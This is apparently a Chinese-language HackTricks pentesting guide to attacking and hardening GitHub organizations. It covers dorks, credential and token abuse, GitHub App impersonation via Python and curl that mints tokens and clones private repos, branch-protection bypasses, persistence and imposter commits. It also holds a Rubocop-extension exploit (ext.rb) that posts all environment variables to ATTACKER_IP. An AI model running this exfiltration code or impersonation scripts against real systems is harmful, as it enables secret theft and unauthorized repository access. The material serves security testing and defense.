20 KiB
Github Security
{{#include ../../banners/hacktricks-training.md}}
什么是Github
(来自 这里) 从高层次来看,GitHub是一个网站和基于云的服务,帮助开发者存储和管理他们的代码,以及跟踪和控制代码的更改。
基本信息
{{#ref}} basic-github-information.md {{#endref}}
外部侦查
Github 仓库可以配置为公共、私有和内部。
- 私有意味着只有组织中的人才能访问它们
- 内部意味着只有企业中的人(一个企业可能有多个组织)才能访问它
- 公共意味着所有互联网用户都可以访问它。
如果你知道要针对的用户、仓库或组织,你可以使用github dorks来查找敏感信息或搜索每个仓库中的敏感信息泄露。
Github Dorks
Github 允许通过指定用户、仓库或组织作为范围来搜索某些内容。因此,使用一系列将出现在敏感信息附近的字符串,你可以轻松地搜索目标中的潜在敏感信息。
工具(每个工具包含其 dorks 列表):
- https://github.com/obheda12/GitDorker (Dorks 列表)
- https://github.com/techgaun/github-dorks (Dorks 列表)
- https://github.com/hisxo/gitGraber (Dorks 列表)
Github 泄露
请注意,github dorks 也旨在使用 github 搜索选项查找泄露。此部分专门介绍那些将下载每个仓库并搜索其中敏感信息的工具(甚至检查某些提交的深度)。
工具(每个工具包含其正则表达式列表):
Warning
当你在一个仓库中查找泄露并运行类似
git log -p的命令时,不要忘记可能存在其他分支和其他提交包含秘密!
外部分支
可以通过滥用拉取请求来妥协仓库。要知道一个仓库是否脆弱,你主要需要查看 Github Actions yaml 配置。 更多信息见下文。
删除/内部分支中的 Github 泄露
即使是删除或内部的,也可能从 github 仓库的分支中获取敏感数据。请在此查看:
{{#ref}} accessible-deleted-data-in-github.md {{#endref}}
组织强化
成员权限
可以分配一些默认权限给组织的成员。这些可以从页面 https://github.com/organizations/<org_name>/settings/member_privileges 或从 Organizations API 控制。
- 基本权限:成员将对组织仓库拥有 None/Read/write/Admin 权限。推荐设置为None或Read。
- 仓库分叉:如果不必要,最好不允许成员分叉组织仓库。
- 页面创建:如果不必要,最好不允许成员从组织仓库发布页面。如果必要,可以允许创建公共或私有页面。
- 集成访问请求:启用此功能后,外部协作者将能够请求访问 GitHub 或 OAuth 应用程序以访问该组织及其资源。通常是需要的,但如果不需要,最好禁用它。
- 我在 API 响应中找不到此信息,如果你找到了,请分享
- 仓库可见性更改:如果启用,具有管理员权限的成员将能够更改其可见性。如果禁用,只有组织所有者可以更改仓库的可见性。如果你不希望人们将内容公开,请确保此选项禁用。
- 我在 API 响应中找不到此信息,如果你找到了,请分享
- 仓库删除和转移:如果启用,具有管理员权限的成员将能够删除或转移公共和私有仓库。
- 我在 API 响应中找不到此信息,如果你找到了,请分享
- 允许成员创建团队:如果启用,任何组织的成员将能够创建新团队。如果禁用,只有组织所有者可以创建新团队。最好将此选项禁用。
- 我在 API 响应中找不到此信息,如果你找到了,请分享
- 更多设置可以在此页面配置,但前面的设置是与安全性相关的。
Actions 设置
可以从页面 https://github.com/organizations/<org_name>/settings/actions 配置多个与安全相关的设置。
Note
请注意,所有这些配置也可以在每个仓库中独立设置
- Github actions 策略:允许你指明哪些仓库可以运行工作流,哪些工作流应该被允许。建议指定哪些仓库应该被允许,而不是允许所有操作运行。
- API-1, API-2
- 来自外部协作者的拉取请求工作流:建议要求所有外部协作者的批准。
- 我找不到包含此信息的 API,如果你找到了,请分享
- 从拉取请求运行工作流:强烈不建议从拉取请求运行工作流,因为分支来源的维护者将获得使用具有读取权限的源仓库令牌的能力。
- 我找不到包含此信息的 API,如果你找到了,请分享
- 工作流权限:强烈建议仅授予读取仓库权限。不建议授予写入和创建/批准拉取请求的权限,以避免滥用提供给运行工作流的 GITHUB_TOKEN。
- API
集成
如果你知道访问此信息的 API 端点,请告诉我!
- 第三方应用程序访问策略:建议限制对每个应用程序的访问,仅允许必要的应用程序(在审核后)。
- 已安装的 GitHub 应用程序:建议仅允许必要的应用程序(在审核后)。
侦查与滥用凭证的攻击
在此场景中,我们假设你已经获得了对一个 github 账户的某些访问权限。
使用用户凭证
如果你以某种方式已经获得了组织内某个用户的凭证,你可以直接登录并检查你拥有的企业和组织角色,如果你是普通成员,检查普通成员拥有的权限、你所在的组、你对哪些仓库拥有的权限,以及这些仓库是如何保护的。
请注意,可能会使用 2FA,因此你只能在能够通过该检查的情况下访问此信息。
Note
请注意,如果你设法窃取了
user_sessioncookie(当前配置为 SameSite: Lax),你可以完全冒充该用户,而无需凭证或 2FA。
查看下面关于 分支保护绕过 的部分,以防有用。
使用用户 SSH 密钥
Github 允许用户设置SSH 密钥,作为代表他们部署代码的身份验证方法(不应用 2FA)。
使用此密钥,你可以对用户拥有某些权限的仓库进行更改,但是你不能使用它访问 github api 来枚举环境。然而,你可以获取枚举本地设置以获取有关你有访问权限的仓库和用户的信息:
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
如果用户将其用户名配置为他的 github 用户名,您可以访问他账户中设置的 公钥,网址为 https://github.com/<github_username>.keys,您可以检查此以确认您找到的私钥是否可以使用。
SSH 密钥 也可以在仓库中设置为 部署密钥。任何拥有此密钥的人都将能够 从仓库启动项目。通常在具有不同部署密钥的服务器上,本地文件 ~/.ssh/config 将提供与密钥相关的信息。
GPG 密钥
如 这里 所述,有时需要签署提交,否则您可能会被发现。
在本地检查当前用户是否有任何密钥:
gpg --list-secret-keys --keyid-format=long
使用用户令牌
有关用户令牌的基本信息的介绍。
用户令牌可以替代密码用于通过 HTTPS 进行 Git 操作,或可用于通过基本身份验证对 API 进行身份验证。根据附加的权限,您可能能够执行不同的操作。
用户令牌的格式如下:ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123
使用 Oauth 应用程序
有关Github Oauth 应用程序的基本信息的介绍。
攻击者可能会创建一个恶意 Oauth 应用程序,以访问接受它们的用户的特权数据/操作,这可能是网络钓鱼活动的一部分。
这是Oauth 应用程序可以请求的范围。在接受之前,应该始终检查请求的范围。
此外,如基本信息中所述,组织可以授予/拒绝第三方应用程序对与组织相关的信息/仓库/操作的访问权限。
使用 Github 应用程序
有关Github 应用程序的基本信息的介绍。
攻击者可能会创建一个恶意 Github 应用程序,以访问接受它们的用户的特权数据/操作,这可能是网络钓鱼活动的一部分。
此外,如基本信息中所述,组织可以授予/拒绝第三方应用程序对与组织相关的信息/仓库/操作的访问权限。
使用其私钥(JWT → 安装访问令牌)冒充 GitHub 应用程序
如果您获得了 GitHub 应用程序的私钥(PEM),您可以在其所有安装中完全冒充该应用程序:
- 生成一个使用私钥签名的短期 JWT
- 调用 GitHub 应用程序 REST API 列举安装
- 铸造每个安装的访问令牌,并使用它们列出/克隆/推送到授予该安装的仓库
要求:
- GitHub 应用程序私钥(PEM)
- GitHub 应用程序 ID(数字)。GitHub 要求 iss 为应用程序 ID
创建 JWT(RS256):
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
列出经过身份验证的应用程序的安装:
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
创建一个安装访问令牌(有效期≤10分钟):
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
使用令牌访问代码。您可以使用 x‑access‑token URL 形式进行克隆或推送:
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
程序化的 PoC 以针对特定组织并列出私有仓库 (PyGithub + PyJWT):
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
注意:
- 安装令牌完全继承应用程序的仓库级权限(例如,contents: write, pull_requests: write)
- 令牌在≤10分钟内过期,但只要保留私钥,可以无限期生成新令牌
- 您还可以通过REST API(GET /app/installations)使用JWT枚举安装
破坏与滥用Github Action
有几种技术可以破坏和滥用Github Action,查看它们:
{{#ref}} abusing-github-actions/ {{#endref}}
滥用运行外部工具的第三方GitHub应用程序(Rubocop扩展RCE)
一些GitHub应用程序和PR审查服务使用仓库控制的配置文件对拉取请求执行外部代码检查/SAST。如果支持的工具允许动态代码加载,PR可以在服务的运行器上实现RCE。
示例:Rubocop支持从其YAML配置加载扩展。如果服务通过提供的.repo‑rubocop.yml,您可以通过要求本地文件执行任意Ruby代码。
- 触发条件通常包括:
- 工具在服务中已启用
- PR包含工具识别的文件(对于Rubocop:.rb)
- 仓库包含工具的配置文件(Rubocop在任何地方搜索.rubocop.yml)
在PR中的利用文件:
.rubocop.yml
require:
- ./ext.rb
ext.rb (提取运行环境变量):
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
也包括一个足够大的虚拟 Ruby 文件(例如,main.rb),以便 linter 实际运行。
在实际中观察到的影响:
- 在执行 linter 的生产运行器上完全执行代码
- 外泄敏感环境变量,包括服务使用的 GitHub App 私钥、API 密钥、数据库凭证等。
- 使用泄露的 GitHub App 私钥,您可以生成安装令牌并获得对该应用程序授予的所有存储库的读/写访问权限(请参见上面关于 GitHub App 冒充的部分)
运行外部工具的服务的加固指南:
- 将存储库提供的工具配置视为不受信任的代码
- 在严格隔离的沙箱中执行工具,不挂载敏感环境变量
- 应用最小权限凭证和文件系统隔离,并限制/拒绝不需要互联网访问的工具的出站网络流量
分支保护绕过
- 要求一定数量的批准:如果您妥协了多个帐户,您可能只需接受其他帐户的 PR。如果您只有创建 PR 的帐户,则无法接受自己的 PR。但是,如果您可以访问存储库中的 Github Action 环境,使用 GITHUB_TOKEN,您可能能够 批准您的 PR 并以这种方式获得 1 次批准。
- 注意,对于此以及代码所有者限制,通常用户无法批准自己的 PR,但如果您可以,您可以利用它来接受自己的 PR。
- 在推送新提交时撤销批准:如果未设置此项,您可以提交合法代码,等待某人批准,然后放入恶意代码并将其合并到受保护的分支中。
- 要求代码所有者的审查:如果启用此项且您是代码所有者,您可以让 Github Action 创建您的 PR,然后自己批准它。
- 当 CODEOWNER 文件配置错误 时,GitHub 不会抱怨,但它不会使用它。因此,如果配置错误,代码所有者保护将不适用。
- 允许指定的参与者绕过拉取请求要求:如果您是这些参与者之一,您可以绕过拉取请求保护。
- 包括管理员:如果未设置此项且您是存储库的管理员,您可以绕过此分支保护。
- PR 劫持:您可能能够 修改其他人的 PR,添加恶意代码,自己批准结果 PR 并合并所有内容。
- 移除分支保护:如果您是 存储库的管理员,您可以禁用保护,合并您的 PR 并重新设置保护。
- 绕过推送保护:如果存储库 仅允许某些用户 在分支中发送推送(合并代码)(分支保护可能保护所有分支,指定通配符
*)。 - 如果您对存储库 具有写入访问权限,但由于分支保护不允许推送代码,您仍然可以 创建一个新分支,并在其中创建一个 在代码推送时触发的 github action。由于 分支保护在创建之前不会保护该分支,因此对该分支的第一次代码推送将 执行 github action。
绕过环境保护
如果一个环境可以 从所有分支访问,则它 没有保护,您可以轻松访问环境中的秘密。请注意,您可能会发现某些存储库 所有分支都受到保护(通过指定其名称或使用 *),在这种情况下,找到一个可以推送代码的分支,您可以 通过创建新的 github action(或修改一个)来外泄 秘密。
请注意,您可能会发现边缘情况,其中 所有分支都受到保护(通过通配符 *),并指定 谁可以向分支推送代码(您可以在分支保护中指定),并且 您的用户不被允许。您仍然可以运行自定义 github action,因为您可以创建一个分支并在其上使用推送触发器。分支保护允许推送到新分支,因此 github action 将被触发。
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
注意,在创建分支后,分支保护将适用于新分支,您将无法修改它,但在那时您已经提取了秘密。
持久性
- 生成用户令牌
- 从秘密中窃取github令牌
- 删除工作流结果和分支
- 给所有组织更多权限
- 创建webhooks以提取信息
- 邀请外部协作者
- 移除****SIEM使用的webhooks
- 创建/修改带有后门的Github Action
- 通过秘密值修改查找易受攻击的Github Action以进行命令注入
冒名顶替提交 - 通过repo提交的后门
在Github中,可以从一个fork创建一个PR到一个repo。即使PR未被接受,在原始repo中也会为代码的fork版本创建一个提交id。因此,攻击者可以固定使用一个来自看似合法的repo的特定提交,该提交并不是由repo的所有者创建的。
像这个:
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
有关更多信息,请查看 https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd
参考文献
- 我们如何利用 CodeRabbit:从一个简单的 PR 到 RCE 和对 100 万个代码库的写入访问
- Rubocop 扩展(需要)
- 使用 GitHub 应用进行身份验证(JWT)
- 列出已验证应用的安装
- 为应用创建安装访问令牌
{{#include ../../banners/hacktricks-training.md}}